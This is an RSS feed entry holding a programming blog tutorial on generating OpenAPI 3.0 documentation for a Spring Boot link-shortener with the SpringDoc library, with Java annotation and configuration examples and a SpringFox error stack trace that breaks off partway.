<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Posts on Jan Górkiewicz - Programmer Technical Blog</title><link>https://greencashew.dev/posts/</link><description>Recent content in Posts on Jan Górkiewicz - Programmer Technical Blog</description><generator>Hugo -- gohugo.io</generator><language>en-us</language><lastBuildDate>Wed, 20 Apr 2022 22:31:20 +0100</lastBuildDate><atom:link href="https://greencashew.dev/posts/index.xml" rel="self" type="application/rss+xml"/><item><title>Self documenting API with swagger (OpenAPI 3.0) documentation</title><link>https://greencashew.dev/posts/self-documenting-api-with-swagger-openapi-3.0-documentation/</link><pubDate>Wed, 20 Apr 2022 22:31:20 +0100</pubDate><guid>https://greencashew.dev/posts/self-documenting-api-with-swagger-openapi-3.0-documentation/</guid><description>Overview API documentation is one of the crucial point during development of the application. The contracted API let development teams to work on different pieces of application, without risk of failure during integration. API contract also defines endpoint interaction results, such as status codes and business reasons for them.
Design first vs Code First approach In case of designing software, we need to choose one of the API design approach.</description><content type="html"><![CDATA[<h2 id="overview">Overview</h2>
<p>API documentation is one of the crucial point during development of the application.
The contracted API let development teams to work on different pieces of application, without risk of failure during integration.
API contract also defines endpoint interaction results, such as status codes and business reasons for them.</p>
<h3 id="design-first-vs-code-first-approach">Design first vs Code First approach</h3>
<p>In case of designing software, we need to choose one of the API design approach.</p>
<table>
<thead>
<tr>
<th>Design first:</th>
<th><strong>Contract -&gt; Code the API</strong></th>
</tr>
</thead>
</table>
<p>Design first approach:</p>
<ul>
<li>Parallelize development work - Teams can mock API, based on the expected behaviour provided in contract</li>
<li>Single point of truth - The API contract is available within organization on early stage of the project.</li>
</ul>
<table>
<thead>
<tr>
<th>Code first:</th>
<th><strong>Code the API -&gt; Contract / Documentation</strong></th>
</tr>
</thead>
</table>
<p>Code first approach:</p>
<ul>
<li>Flexibility with delivering API</li>
<li>Quick prototyping</li>
</ul>
<table>
<thead>
<tr>
<th>Design first</th>
<th>Code First</th>
</tr>
</thead>
<tbody>
<tr>
<td>Public API</td>
<td>Internal API</td>
</tr>
<tr>
<td>Multiple teams</td>
<td>Single team</td>
</tr>
<tr>
<td>Consuming design time</td>
<td>Quick prototyping</td>
</tr>
</tbody>
</table>
<h3 id="swagger">Swagger</h3>
<p>To simplify the process of building API documentation, tools such as <a href="https://swagger.io/">Swagger</a> has been developed.</p>
<p><img src="swagger-editor.png" alt="Swagger"></p>
<p>Swagger toolset offers:</p>
<ul>
<li>OpenAPI (Swagger) documentation online editor</li>
<li>Client/Server code generation based on written OpenAPI documentation</li>
<li>Swagger UI
<ul>
<li>Basic web visualization of the API, with possibility of testing endpoints</li>
<li>Could be deployed on top of spring-boot application (with springdoc or springfox libraries)</li>
<li>Swagger documentation could be automatically generated based on implemented API code.</li>
</ul>
</li>
</ul>
<p>As you can see different swagger tools can be used for both API-first and Code First approaches.
In following article I would like to focus on code first approach and usage of <strong>SpringDoc</strong> library.</p>
<p>The example of deployed swagger documentation, could be found under following link:
<a href="https://spring-link-shortener.herokuapp.com/swagger-ui/index.html">https://spring-link-shortener.herokuapp.com/swagger-ui/index.html</a></p>
<h2 id="springdoc-library">SpringDoc library</h2>
<p>SpringDoc automatically generates documentation in JSON/YAML format and also presents it in Swagger UI.
SpringDoc works by examining an application at runtime to infer API semantics based on spring configurations, class structure and annotations.</p>
<p>Library supports:</p>
<ul>
<li>OpenAPI 3</li>
<li>Spring-boot (v1 and v2)</li>
<li>JSR-303 (javax bean validation)</li>
<li>Different types of authentication like: OAuth 2</li>
<li>Webflux</li>
</ul>
<h3 id="add-library-to-project">Add library to project</h3>
<p>The only step needed to add swagger documentation into your project is adding following dependency to <code>pom.xml</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-xml" data-lang="xml"><span style="display:flex;"><span>   <span style="color:#f92672">&lt;dependency&gt;</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">&lt;groupId&gt;</span>org.springdoc<span style="color:#f92672">&lt;/groupId&gt;</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">&lt;artifactId&gt;</span>springdoc-openapi-ui<span style="color:#f92672">&lt;/artifactId&gt;</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">&lt;version&gt;</span>1.6.7<span style="color:#f92672">&lt;/version&gt;</span>
</span></span><span style="display:flex;"><span>   <span style="color:#f92672">&lt;/dependency&gt;</span>
</span></span></code></pre></div><p>Then, if you run spring-boot project, the Swagger UI page (<a href="http://localhost:8080/swagger-ui/index.html">http://localhost:8080/swagger-ui/index.html</a>) and
documentation (<a href="http://localhost:8080/v3/api-docs">http://localhost:8080/v3/api-docs</a>) in json format should be exposed.</p>
<p>Result in Swagger UI:
<img src="spring_doc_added.png" alt="Added springdoc library"></p>
<h3 id="annotations">Annotations</h3>
<p>One of the most popular way to customize OpenAPI definitions is usage of annotations over specific fields, class or methods related to API.</p>
<ul>
<li><code>@OpenAPIDefinition</code> - This is the root document object of the OpenAPI document. Contains fields such as: <strong>openapi</strong> and <strong>info</strong> and <strong>paths</strong>
<ul>
<li><code>@Info</code> - Provides metadata about the API. Contains fields such as: <strong>title</strong>, <strong>description</strong> (in markdown), <strong>contact</strong>, <strong>license</strong> and <strong>version</strong>.</li>
</ul>
</li>
<li><code>@Operation</code> - Describes a single API operation on a path. Wrapper annotation for request / responses and it&rsquo;s parameters. Contains fields such as: <strong>summary</strong> and <strong>description</strong>.</li>
<li><code>@ApiResponse</code> - Expected API response, could be used multiple times. Contains fields such as: <strong>description</strong> and <strong>responseCode</strong> and <strong>content</strong></li>
<li><code>@Schema</code> -  Provides the definition of input and output data types. Contains fields such as: <strong>description</strong>, <strong>example</strong>, <strong>required</strong>.</li>
<li><code>@Hidden</code> - Skipping a given resource, class or bean type during documentation generation.</li>
</ul>
<h4 id="endpoint">Endpoint</h4>
<p>Example controller:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-java" data-lang="java"><span style="display:flex;"><span><span style="color:#f92672">import</span> dev.greencashew.link_shortener.link.api.LinkService<span style="color:#f92672">;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> dev.greencashew.link_shortener.link.api.dto.LinkDto<span style="color:#f92672">;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> io.swagger.v3.oas.annotations.Operation<span style="color:#f92672">;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> io.swagger.v3.oas.annotations.media.Content<span style="color:#f92672">;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> io.swagger.v3.oas.annotations.media.ExampleObject<span style="color:#f92672">;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> io.swagger.v3.oas.annotations.media.Schema<span style="color:#f92672">;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> io.swagger.v3.oas.annotations.responses.ApiResponse<span style="color:#f92672">;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> lombok.AllArgsConstructor<span style="color:#f92672">;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> org.springframework.web.bind.annotation.GetMapping<span style="color:#f92672">;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> org.springframework.web.bind.annotation.PathVariable<span style="color:#f92672">;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> org.springframework.web.bind.annotation.RequestMapping<span style="color:#f92672">;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> org.springframework.web.bind.annotation.RestController<span style="color:#f92672">;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> javax.servlet.http.HttpServletResponse<span style="color:#f92672">;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> java.io.IOException<span style="color:#f92672">;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">@RestController</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">@AllArgsConstructor</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">@RequestMapping</span><span style="color:#f92672">(</span><span style="color:#e6db74">&#34;/s&#34;</span><span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">RedirectController</span> <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">private</span> <span style="color:#66d9ef">final</span> LinkService service<span style="color:#f92672">;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">@GetMapping</span><span style="color:#f92672">(</span><span style="color:#e6db74">&#34;/{id}&#34;</span><span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">@Operation</span><span style="color:#f92672">(</span>description <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;Redirect link by it&#39;s identifier. This endpoint has to be tested by direct GET request in browser.&#34;</span><span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">@ApiResponse</span><span style="color:#f92672">(</span>responseCode <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;302&#34;</span><span style="color:#f92672">,</span> description <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;User is redirected to expected location.&#34;</span><span style="color:#f92672">,</span> content <span style="color:#f92672">=</span> <span style="color:#a6e22e">@Content</span><span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">@ApiResponse</span><span style="color:#f92672">(</span>responseCode <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;404&#34;</span><span style="color:#f92672">,</span> description <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;Shortened link not found.&#34;</span><span style="color:#f92672">,</span> content <span style="color:#f92672">=</span> <span style="color:#a6e22e">@Content</span><span style="color:#f92672">(</span>examples <span style="color:#f92672">=</span> <span style="color:#a6e22e">@ExampleObject</span><span style="color:#f92672">(</span>value <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;{\&#34;errorMessage\&#34;: \&#34;Shortened link link-alias not found.\&#34;}&#34;</span><span style="color:#f92672">)))</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">public</span> <span style="color:#66d9ef">void</span> <span style="color:#a6e22e">redirectLink</span><span style="color:#f92672">(</span>
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">@Schema</span><span style="color:#f92672">(</span>description <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;Identifier/alias to link. Used for redirection.&#34;</span><span style="color:#f92672">,</span> example <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;link-alias&#34;</span><span style="color:#f92672">,</span> required <span style="color:#f92672">=</span> <span style="color:#66d9ef">true</span><span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">@PathVariable</span> String id<span style="color:#f92672">,</span> HttpServletResponse httpServletResponse<span style="color:#f92672">)</span> <span style="color:#66d9ef">throws</span> IOException <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">final</span> LinkDto linkDto <span style="color:#f92672">=</span> service<span style="color:#f92672">.</span><span style="color:#a6e22e">gatherLinkAndIncrementVisits</span><span style="color:#f92672">(</span>id<span style="color:#f92672">);</span>
</span></span><span style="display:flex;"><span>        httpServletResponse<span style="color:#f92672">.</span><span style="color:#a6e22e">sendRedirect</span><span style="color:#f92672">(</span>linkDto<span style="color:#f92672">.</span><span style="color:#a6e22e">targetUrl</span><span style="color:#f92672">());</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span></code></pre></div><p>Result in Swagger UI:</p>
<p><img src="documented_rest_endpoint.png" alt="Documented rest endpoint"></p>
<h4 id="dto">DTO</h4>
<p>Example Dto object:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-java" data-lang="java"><span style="display:flex;"><span><span style="color:#f92672">import</span> io.swagger.v3.oas.annotations.media.Schema<span style="color:#f92672">;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> javax.validation.constraints.Email<span style="color:#f92672">;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> javax.validation.constraints.Future<span style="color:#f92672">;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> javax.validation.constraints.NotBlank<span style="color:#f92672">;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> javax.validation.constraints.Size<span style="color:#f92672">;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> java.time.LocalDate<span style="color:#f92672">;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>record <span style="color:#a6e22e">CreateLinkDto</span><span style="color:#f92672">(</span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">@Schema</span><span style="color:#f92672">(</span>description <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;Identifier/alias to link. Used for redirection.&#34;</span><span style="color:#f92672">,</span> example <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;link-alias&#34;</span><span style="color:#f92672">,</span> required <span style="color:#f92672">=</span> <span style="color:#66d9ef">true</span><span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">@NotBlank</span> <span style="color:#a6e22e">@Size</span><span style="color:#f92672">(</span>min <span style="color:#f92672">=</span> 1<span style="color:#f92672">,</span> max <span style="color:#f92672">=</span> 60<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>    String id<span style="color:#f92672">,</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">@Schema</span><span style="color:#f92672">(</span>description <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;User email required for shortened link management (deletion, updating)&#34;</span><span style="color:#f92672">,</span> example <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;test@greencashew.dev&#34;</span><span style="color:#f92672">,</span> required <span style="color:#f92672">=</span> <span style="color:#66d9ef">true</span><span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">@NotBlank</span> <span style="color:#a6e22e">@Email</span>
</span></span><span style="display:flex;"><span>    String email<span style="color:#f92672">,</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">@Schema</span><span style="color:#f92672">(</span>description <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;Destination url we would like to &#34;</span><span style="color:#f92672">,</span> example <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;https://github.com/greencashew/warsztaty-podstawy-springa&#34;</span><span style="color:#f92672">,</span> required <span style="color:#f92672">=</span> <span style="color:#66d9ef">true</span><span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">@NotBlank</span>
</span></span><span style="display:flex;"><span>    String targetUrl<span style="color:#f92672">,</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">@Schema</span><span style="color:#f92672">(</span>description <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;Link expiration time. If would like to have shortened link forever do not fill this field.&#34;</span><span style="color:#f92672">,</span> example <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;2054-06-23&#34;</span><span style="color:#f92672">,</span> required <span style="color:#f92672">=</span> <span style="color:#66d9ef">false</span><span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">@Future</span>
</span></span><span style="display:flex;"><span>    LocalDate expirationDate<span style="color:#f92672">)</span> <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span></code></pre></div><p>Result in Swagger UI:
<img src="request_body_with_schema.png" alt="Request body with schema"></p>
<p>Example value in documentation:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-json" data-lang="json"><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">&#34;id&#34;</span>: <span style="color:#e6db74">&#34;link-alias&#34;</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">&#34;email&#34;</span>: <span style="color:#e6db74">&#34;test@greencashew.dev&#34;</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">&#34;targetUrl&#34;</span>: <span style="color:#e6db74">&#34;https://github.com/greencashew/warsztaty-podstawy-springa&#34;</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">&#34;expirationDate&#34;</span>: <span style="color:#e6db74">&#34;2054-06-23&#34;</span>
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><h3 id="openapi-configuration">OpenAPI Configuration</h3>
<p>Another possibility of defining API documentation is usage bean configuration.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-java" data-lang="java"><span style="display:flex;"><span><span style="color:#f92672">import</span> io.swagger.v3.oas.models.Components<span style="color:#f92672">;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> io.swagger.v3.oas.models.ExternalDocumentation<span style="color:#f92672">;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> io.swagger.v3.oas.models.OpenAPI<span style="color:#f92672">;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> io.swagger.v3.oas.models.info.Contact<span style="color:#f92672">;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> io.swagger.v3.oas.models.info.Info<span style="color:#f92672">;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> io.swagger.v3.oas.models.info.License<span style="color:#f92672">;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> io.swagger.v3.oas.models.security.SecurityScheme<span style="color:#f92672">;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> org.springframework.context.annotation.Bean<span style="color:#f92672">;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> org.springframework.context.annotation.Configuration<span style="color:#f92672">;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">@Configuration</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">DocumentationConfiguration</span> <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">@Bean</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">public</span> OpenAPI <span style="color:#a6e22e">springLinkShortenerDocumentation</span><span style="color:#f92672">(</span><span style="color:#a6e22e">@Value</span><span style="color:#f92672">(</span><span style="color:#e6db74">&#34;${application.version}&#34;</span><span style="color:#f92672">)</span> String appVersion<span style="color:#f92672">)</span> <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">new</span> OpenAPI<span style="color:#f92672">()</span>
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">.</span><span style="color:#a6e22e">components</span><span style="color:#f92672">(</span><span style="color:#66d9ef">new</span> Components<span style="color:#f92672">().</span><span style="color:#a6e22e">addSecuritySchemes</span><span style="color:#f92672">(</span><span style="color:#e6db74">&#34;basicScheme&#34;</span><span style="color:#f92672">,</span> <span style="color:#66d9ef">new</span> SecurityScheme<span style="color:#f92672">()</span>
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">.</span><span style="color:#a6e22e">type</span><span style="color:#f92672">(</span>SecurityScheme<span style="color:#f92672">.</span><span style="color:#a6e22e">Type</span><span style="color:#f92672">.</span><span style="color:#a6e22e">HTTP</span><span style="color:#f92672">).</span><span style="color:#a6e22e">scheme</span><span style="color:#f92672">(</span><span style="color:#e6db74">&#34;basic&#34;</span><span style="color:#f92672">)))</span>
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">.</span><span style="color:#a6e22e">info</span><span style="color:#f92672">(</span><span style="color:#66d9ef">new</span> Info<span style="color:#f92672">().</span><span style="color:#a6e22e">title</span><span style="color:#f92672">(</span><span style="color:#e6db74">&#34;Link Shortener&#34;</span><span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">.</span><span style="color:#a6e22e">description</span><span style="color:#f92672">(</span><span style="color:#e6db74">&#34;&#34;&#34;
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">                    It is fully featured link shortener written in Java 17 and Spring Framework.
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">                                            
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">                    Supported features:
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">                    - Create/Read/Update/Delete shortened link
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">                    - Redirect to specific page by short link identifier
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">                    - Handle business exception like: LinkNotFound, LinkAlreadyExists or IncorrectAdminVerification
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">                    - Application automatically delete expired links within specified period
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">                    &#34;&#34;&#34;</span><span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">.</span><span style="color:#a6e22e">version</span><span style="color:#f92672">(</span>appVersion<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">.</span><span style="color:#a6e22e">contact</span><span style="color:#f92672">(</span><span style="color:#66d9ef">new</span> Contact<span style="color:#f92672">().</span><span style="color:#a6e22e">name</span><span style="color:#f92672">(</span><span style="color:#e6db74">&#34;Jan Górkiewicz&#34;</span><span style="color:#f92672">).</span><span style="color:#a6e22e">url</span><span style="color:#f92672">(</span><span style="color:#e6db74">&#34;https://greencashew.dev&#34;</span><span style="color:#f92672">))</span>
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">.</span><span style="color:#a6e22e">license</span><span style="color:#f92672">(</span><span style="color:#66d9ef">new</span> License<span style="color:#f92672">().</span><span style="color:#a6e22e">name</span><span style="color:#f92672">(</span><span style="color:#e6db74">&#34;Apache 2.0&#34;</span><span style="color:#f92672">)))</span>
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">.</span><span style="color:#a6e22e">externalDocs</span><span style="color:#f92672">(</span><span style="color:#66d9ef">new</span> ExternalDocumentation<span style="color:#f92672">()</span>
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">.</span><span style="color:#a6e22e">description</span><span style="color:#f92672">(</span><span style="color:#e6db74">&#34;Project created as educational material of spring course &#39;Warsztaty Podstawy Springa&#39;.&#34;</span><span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">.</span><span style="color:#a6e22e">url</span><span style="color:#f92672">(</span><span style="color:#e6db74">&#34;https://github.com/greencashew/warsztaty-podstawy-springa&#34;</span><span style="color:#f92672">));</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span></code></pre></div><p>Result in swagger UI:
<img src="swagger_documentation_configuration.png" alt="Swagger documentation configuration.png"></p>
<h3 id="useful-application-properties">Useful application properties</h3>
<p>SpringDoc offers also configuration via application properties, below list of some useful parameters:</p>
<pre tabindex="0"><code class="language-properties" data-lang="properties"># Disabling the /v3/api-docs endpoint
springdoc.api-docs.enabled=false
# Disable swagger UI
springdoc.swagger-ui.enabled=false

# Change path to swagger UI
springdoc.swagger-ui.path=/swagger-ui.html

# Oauth Default clientSecret (only for dev/test environment)
springdoc.swagger-ui.oauth.clientSecret=6779ef20e75817b79602
springdoc.swagger-ui.oauth.appName=appName

# Show actuator endpoints
springdoc.show-actuator=true

# Specify packages to scan
springdoc.packagesToScan=package1, package2

#Use fully qualified names
springdoc.use-fqn=true
</code></pre><h3 id="more-information">More information</h3>
<p>More information could be found in official <a href="https://springdoc.org/">springdoc documentation</a> and <a href="https://github.com/springdoc/springdoc-openapi-demos">github demo applications</a> repository.</p>
<h2 id="why-not-springfox-library">Why not SpringFox library?</h2>
<p>SpringFox library was most commonly used library for generating swagger (OpenAPI) documentation. It is still popular for OpenAPI 2.
Unfortunately it is not actively maintained by its developers – the latest version has been released in July 2020.
Springfox library integration with the latest spring boot version also require writing some workaround code due to issue in library.
Therefore, it is good idea to use SpringDoc as replacement to SpringFox.</p>
<h3 id="issue-new-spring-boot-version-and-springfox-library">Issue new spring boot version and SpringFox library</h3>
<p>Spring Boot Version: 2.6.x</p>
<p>SpringFox swagger: 3.0.0</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>org.springframework.context.ApplicationContextException: Failed to start bean &#39;documentationPluginsBootstrapper&#39;; nested exception is java.lang.NullPointerException: Cannot invoke &#34;org.springframework.web.servlet.mvc.condition.PatternsRequestCondition.getPatterns()&#34; because &#34;this.condition&#34; is null
</span></span><span style="display:flex;"><span>	at org.springframework.context.support.DefaultLifecycleProcessor.doStart(DefaultLifecycleProcessor.java:181) ~[spring-context-5.3.16.jar:5.3.16]
</span></span><span style="display:flex;"><span>	at org.springframework.context.support.DefaultLifecycleProcessor.access$200(DefaultLifecycleProcessor.java:54) ~[spring-context-5.3.16.jar:5.3.16]
</span></span><span style="display:flex;"><span>	at org.springframework.context.support.DefaultLifecycleProcessor$LifecycleGroup.start(DefaultLifecycleProcessor.java:356) ~[spring-context-5.3.16.jar:5.3.16]
</span></span><span style="display:flex;"><span>	at java.base/java.lang.Iterable.forEach(Iterable.java:75) ~[na:na]
</span></span><span style="display:flex;"><span>	at org.springframework.context.support.DefaultLifecycleProcessor.startBeans(DefaultLifecycleProcessor.java:155) ~[spring-context-5.3.16.jar:5.3.16]
</span></span><span style="display:flex;"><span>	at org.springframework.context.support.DefaultLifecycleProcessor.onRefresh(DefaultLifecycleProcessor.java:123) ~[spring-context-5.3.16.jar:5.3.16]
</span></span><span style="display:flex;"><span>	at org.springframework.context.support.AbstractApplicationContext.finishRefresh(AbstractApplicationContext.java:935) ~[spring-context-5.3.16.jar:5.3.16]
</span></span><span style="display:flex;"><span>	at org.springframework.context.support.AbstractApplicationContext.refresh(AbstractApplicationContext.java:586) ~[spring-context-5.3.16.jar:5.3.16]
</span></span><span style="display:flex;"><span>	at org.springframework.boot.web.servlet.context.ServletWebServerApplicationContext.refresh(ServletWebServerApplicationContext.java:145) ~[spring-boot-2.6.4.jar:2.6.4]
</span></span><span style="display:flex;"><span>	at org.springframework.boot.SpringApplication.refresh(SpringApplication.java:740) ~[spring-boot-2.6.4.jar:2.6.4]
</span></span><span style="display:flex;"><span>	at org.springframework.boot.SpringApplication.refreshContext(SpringApplication.java:415) ~[spring-boot-2.6.4.jar:2.6.4]
</span></span><span style="display:flex;"><span>	at org.springframework.boot.SpringApplication.run(SpringApplication.java:303) ~[spring-boot-2.6.4.jar:2.6.4]
</span></span><span style="display:flex;"><span>	at org.springframework.boot.SpringApplication.run(SpringApplication.java:1312) ~[spring-boot-2.6.4.jar:2.6.4]
</span></span><span style="display:flex;"><span>	at org.springframework.boot.SpringApplication.run(SpringApplication.java:1301) ~[spring-boot-2.6.4.jar:2.6.4]
</span></span><span style="display:flex;"><span>	at com.greencashew.springswagger.SpringSwaggerFixedApplication.main(SpringSwaggerFixedApplication.java:10) ~[classes/:na]
</span></span><span style="display:flex;"><span>Caused by: java.lang.NullPointerException: Cannot invoke &#34;org.springframework.web.servlet.mvc.condition.PatternsRequestCondition.getPatterns()&#34; because &#34;this.condition&#34; is null
</span></span><span style="display:flex;"><span>	at springfox.documentation.spring.web.WebMvcPatternsRequestConditionWrapper.getPatterns(WebMvcPatternsRequestConditionWrapper.java:56) ~[springfox-spring-webmvc-3.0.0.jar:3.0.0]
</span></span><span style="display:flex;"><span>	at springfox.documentation.RequestHandler.sortedPaths(RequestHandler.java:113) ~[springfox-core-3.0.0.jar:3.0.0]
</span></span><span style="display:flex;"><span>	at springfox.documentation.spi.service.contexts.Orderings.lambda$byPatternsCondition$3(Orderings.java:89) ~[springfox-spi-3.0.0.jar:3.0.0]
</span></span><span style="display:flex;"><span>	at java.base/java.util.Comparator.lambda$comparing$77a9974f$1(Comparator.java:473) ~[na:na]
</span></span><span style="display:flex;"><span>	at java.base/java.util.TimSort.countRunAndMakeAscending(TimSort.java:355) ~[na:na]
</span></span><span style="display:flex;"><span>	at java.base/java.util.TimSort.sort(TimSort.java:220) ~[na:na]
</span></span><span style="display:flex;"><span>	at java.base/java.util.Arrays.sort(Arrays.java:1307) ~[na:na]
</span></span><span style="display:flex;"><span>	at java.base/java.util.ArrayList.sort(ArrayList.java:1721) ~[na:na]
</span></span><span style="display:flex;"><span>	at java.base/java.util.stream.SortedOps$RefSortingSink.end(SortedOps.java:392) ~[na:na]
</span></span><span style="display:flex;"><span>	at java.base/java.util.stream.Sink$ChainedReference.end(Sink.java:258) ~[na:na]
</span></span><span style="display:flex;"><span>	at java.base/java.util.stream.Sink$ChainedReference.end(Sink.java:258) ~[na:na]
</span></span><span style="display:flex;"><span>	at java.base/java.util.stream.Sink$ChainedReference.end(Sink.java:258) ~[na:na]
</span></span><span style="display:flex;"><span>	at java.base/java.util.stream.Sink$ChainedReference.end(Sink.java:258) ~[na:na]
